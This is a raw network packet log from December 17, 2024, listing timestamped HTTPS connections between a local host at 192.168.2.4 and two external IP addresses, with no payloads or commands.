Dec 17, 2024 03:52:13.215831041 CET	443	49755	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.215908051 CET	49755	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.217113018 CET	49755	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.217190981 CET	443	49755	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.290307999 CET	443	49752	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.290393114 CET	49752	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.308882952 CET	49752	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.308912992 CET	443	49752	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.309324980 CET	443	49752	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.311930895 CET	49752	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.312114954 CET	49752	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.312136889 CET	443	49752	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.319180012 CET	49756	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.319220066 CET	443	49756	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.319283009 CET	49756	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.326019049 CET	49756	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.326060057 CET	443	49756	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.538109064 CET	443	49753	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:13.538203955 CET	49753	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:13.547272921 CET	49753	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:13.547286987 CET	443	49753	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:13.547410011 CET	49753	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:13.547534943 CET	443	49753	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:13.547590971 CET	49753	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:13.548165083 CET	49758	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:13.548199892 CET	443	49758	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:13.548263073 CET	49758	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:13.548847914 CET	49758	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:13.548857927 CET	443	49758	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:13.723037958 CET	443	49754	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.723102093 CET	49754	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.724550962 CET	49754	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.724565029 CET	443	49754	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.724693060 CET	443	49754	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.724714041 CET	49754	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.724721909 CET	443	49754	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.724735975 CET	49754	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.725730896 CET	49759	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.725821972 CET	443	49759	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.726138115 CET	49759	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.727725029 CET	49759	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.727760077 CET	443	49759	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.443217039 CET	443	49755	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.443417072 CET	49755	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.444340944 CET	49755	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.444370985 CET	443	49755	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.444451094 CET	49755	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.444569111 CET	443	49755	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.444688082 CET	49755	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.445358992 CET	49760	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.445399046 CET	443	49760	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.445466042 CET	49760	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.446052074 CET	49760	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.446063042 CET	443	49760	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.532685041 CET	443	49756	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.532763004 CET	49756	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.533693075 CET	49756	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.533709049 CET	443	49756	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.533839941 CET	49756	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.533881903 CET	443	49756	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.534162045 CET	49756	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.534782887 CET	49761	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.534868956 CET	443	49761	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.534960985 CET	49761	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.535624981 CET	49761	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:14.535662889 CET	443	49761	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:14.934289932 CET	443	49758	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:14.934401989 CET	49758	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:14.935456038 CET	49758	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:14.935482025 CET	443	49758	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:14.935549021 CET	49758	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:14.936086893 CET	443	49758	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:14.936162949 CET	49758	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:14.936424017 CET	49762	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:14.936510086 CET	443	49762	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:14.936597109 CET	49762	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:14.937313080 CET	49762	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:14.937349081 CET	443	49762	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:15.249624968 CET	443	49759	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.249718904 CET	49759	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.250631094 CET	49759	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.250652075 CET	443	49759	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.250719070 CET	49759	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.250803947 CET	443	49759	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.250852108 CET	49759	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.251486063 CET	49763	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.251569033 CET	443	49763	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.251647949 CET	49763	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.252192974 CET	49763	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.252229929 CET	443	49763	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.765412092 CET	443	49761	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.765516996 CET	49761	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.766592026 CET	49761	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.766619921 CET	443	49761	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.766769886 CET	49761	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.767163992 CET	443	49761	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.767227888 CET	49761	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.767550945 CET	49765	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.767589092 CET	443	49765	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.767925978 CET	49765	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.770237923 CET	49765	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:15.770251989 CET	443	49765	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.988297939 CET	443	49760	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:15.988389015 CET	49760	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.001943111 CET	49760	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.001982927 CET	443	49760	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.002042055 CET	49760	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.002223969 CET	443	49760	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.002295017 CET	49760	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.027704954 CET	49766	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.027745962 CET	443	49766	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.027815104 CET	49766	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.042107105 CET	49766	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.042128086 CET	443	49766	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.323709011 CET	443	49762	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:16.323834896 CET	49762	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:16.331804037 CET	49762	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:16.331831932 CET	443	49762	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:16.331899881 CET	49762	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:16.332113028 CET	443	49762	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:16.332858086 CET	49767	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:16.332899094 CET	443	49767	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:16.332923889 CET	49762	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:16.332978010 CET	49767	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:16.348088980 CET	49767	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:16.348108053 CET	443	49767	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:16.459311008 CET	443	49763	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.459527969 CET	49763	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.460580111 CET	49763	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.460608959 CET	443	49763	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.460735083 CET	49763	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.460746050 CET	443	49763	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.460761070 CET	443	49763	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.460797071 CET	49763	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.461703062 CET	49768	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.461810112 CET	443	49768	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.461911917 CET	49768	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.462526083 CET	49768	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.462560892 CET	443	49768	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.984772921 CET	443	49765	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.984849930 CET	49765	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.985858917 CET	49765	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.985868931 CET	443	49765	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.985946894 CET	49765	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.986229897 CET	443	49765	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.986278057 CET	49765	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.986644983 CET	49770	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.986690044 CET	443	49770	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:16.986783981 CET	49770	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.987854958 CET	49770	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:16.987883091 CET	443	49770	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.573798895 CET	443	49766	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.573894978 CET	49766	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.574934006 CET	49766	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.574947119 CET	443	49766	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.575067997 CET	49766	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.575155973 CET	443	49766	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.575206995 CET	49766	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.575911999 CET	49772	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.575948954 CET	443	49772	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.576005936 CET	49772	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.576571941 CET	49772	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.576586962 CET	443	49772	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.737349033 CET	443	49767	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:17.737427950 CET	49767	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:17.738461018 CET	49767	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:17.738468885 CET	443	49767	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:17.738550901 CET	49767	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:17.739100933 CET	443	49767	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:17.739165068 CET	49767	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:17.739542961 CET	49773	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:17.739557028 CET	443	49773	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:17.739715099 CET	49773	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:17.740269899 CET	49773	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:17.740283966 CET	443	49773	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:17.990427971 CET	443	49768	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.990575075 CET	49768	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.991575003 CET	49768	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.991600990 CET	443	49768	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.991661072 CET	49768	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.991823912 CET	443	49768	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.992420912 CET	49774	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.992446899 CET	49768	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.992460966 CET	443	49774	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:17.992538929 CET	49774	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.993082047 CET	49774	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:17.993102074 CET	443	49774	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.196877003 CET	443	49770	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.196963072 CET	49770	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.197973967 CET	49770	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.197973967 CET	49770	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.197999001 CET	443	49770	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.198225021 CET	443	49770	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.198292017 CET	49770	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.198730946 CET	49775	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.198824883 CET	443	49775	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.198908091 CET	49775	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.199412107 CET	49775	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.199446917 CET	443	49775	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.787045002 CET	443	49772	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.787132025 CET	49772	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.788367987 CET	49772	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.788381100 CET	443	49772	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.788686037 CET	49772	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.788707972 CET	443	49772	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.788978100 CET	49772	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.789623976 CET	49776	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.789660931 CET	443	49776	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:18.789726019 CET	49776	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.790755033 CET	49776	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:18.790775061 CET	443	49776	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.128947973 CET	443	49773	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:19.129038095 CET	49773	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:19.131510019 CET	49773	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:19.131540060 CET	443	49773	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:19.131625891 CET	49773	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:19.132076979 CET	443	49773	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:19.132208109 CET	49773	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:19.133060932 CET	49777	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:19.133095026 CET	443	49777	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:19.133232117 CET	49777	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:19.134030104 CET	49777	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:19.134047031 CET	443	49777	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:19.416656971 CET	443	49775	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.416762114 CET	49775	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.423154116 CET	49775	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.423197985 CET	443	49775	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.423250914 CET	49775	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.423625946 CET	443	49775	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.423696041 CET	49775	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.424657106 CET	49778	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.424694061 CET	443	49778	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.424751043 CET	49778	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.430345058 CET	49778	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.430366993 CET	443	49778	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.517498970 CET	443	49774	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.517587900 CET	49774	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.518588066 CET	49774	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.518618107 CET	443	49774	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.518691063 CET	49774	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.518802881 CET	443	49774	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.518858910 CET	49774	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.519795895 CET	49779	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.519908905 CET	443	49779	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:19.519984961 CET	49779	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.521233082 CET	49779	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:19.521270037 CET	443	49779	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.326155901 CET	443	49776	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.326268911 CET	49776	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.327605963 CET	49776	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.327620029 CET	443	49776	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.327759981 CET	49776	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.328275919 CET	443	49776	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.328341961 CET	49776	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.328713894 CET	49781	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.328802109 CET	443	49781	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.328994036 CET	49781	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.329665899 CET	49781	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.329704046 CET	443	49781	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.514071941 CET	443	49777	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:20.514143944 CET	49777	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:20.515078068 CET	49777	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:20.515090942 CET	443	49777	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:20.515204906 CET	49777	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:20.515458107 CET	443	49777	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:20.515511990 CET	49777	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:20.516073942 CET	49782	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:20.516144991 CET	443	49782	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:20.516236067 CET	49782	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:20.517050982 CET	49782	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:20.517086029 CET	443	49782	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:20.645998001 CET	443	49778	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.646094084 CET	49778	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.646884918 CET	49778	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.646895885 CET	443	49778	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.646990061 CET	49778	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.647551060 CET	49783	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.647567034 CET	443	49778	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.647589922 CET	443	49783	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.647638083 CET	49778	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.647661924 CET	49783	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.648350954 CET	49783	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.648370028 CET	443	49783	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.727662086 CET	443	49779	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.727745056 CET	49779	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.728338003 CET	49779	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.728363991 CET	443	49779	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.728442907 CET	49779	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.728497028 CET	443	49779	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.728550911 CET	49779	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.729293108 CET	49784	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.729377985 CET	443	49784	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:20.729459047 CET	49784	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.729880095 CET	49784	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:20.729917049 CET	443	49784	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.861414909 CET	443	49781	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.861555099 CET	49781	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.862814903 CET	49781	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.862826109 CET	443	49781	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.862974882 CET	49781	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.863235950 CET	443	49781	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.863298893 CET	49781	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.863903046 CET	49786	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.863979101 CET	443	49786	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.864063978 CET	49786	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.864650965 CET	49786	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.864685059 CET	443	49786	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.864746094 CET	443	49783	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.864824057 CET	49783	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.865509987 CET	49783	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.865514994 CET	443	49783	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.865619898 CET	49783	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.865689993 CET	443	49783	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.865739107 CET	49783	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.866316080 CET	49787	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.866358995 CET	443	49787	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.866420031 CET	49787	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.866872072 CET	49787	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:21.866883039 CET	443	49787	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:21.896631956 CET	443	49782	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:21.896752119 CET	49782	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:21.897588968 CET	49782	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:21.897594929 CET	443	49782	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:21.897674084 CET	49782	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:21.897775888 CET	443	49782	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:21.897829056 CET	49782	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:21.898472071 CET	49788	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:21.898555040 CET	443	49788	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:21.898647070 CET	49788	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:21.899101973 CET	49788	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:21.899137974 CET	443	49788	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:22.255074978 CET	443	49784	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:22.255163908 CET	49784	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:22.256110907 CET	49784	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:22.256124973 CET	443	49784	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:22.256239891 CET	49784	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:22.256273031 CET	443	49784	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:22.256339073 CET	49784	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:22.257093906 CET	49789	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:22.257179976 CET	443	49789	199.232.192.209	192.168.2.4
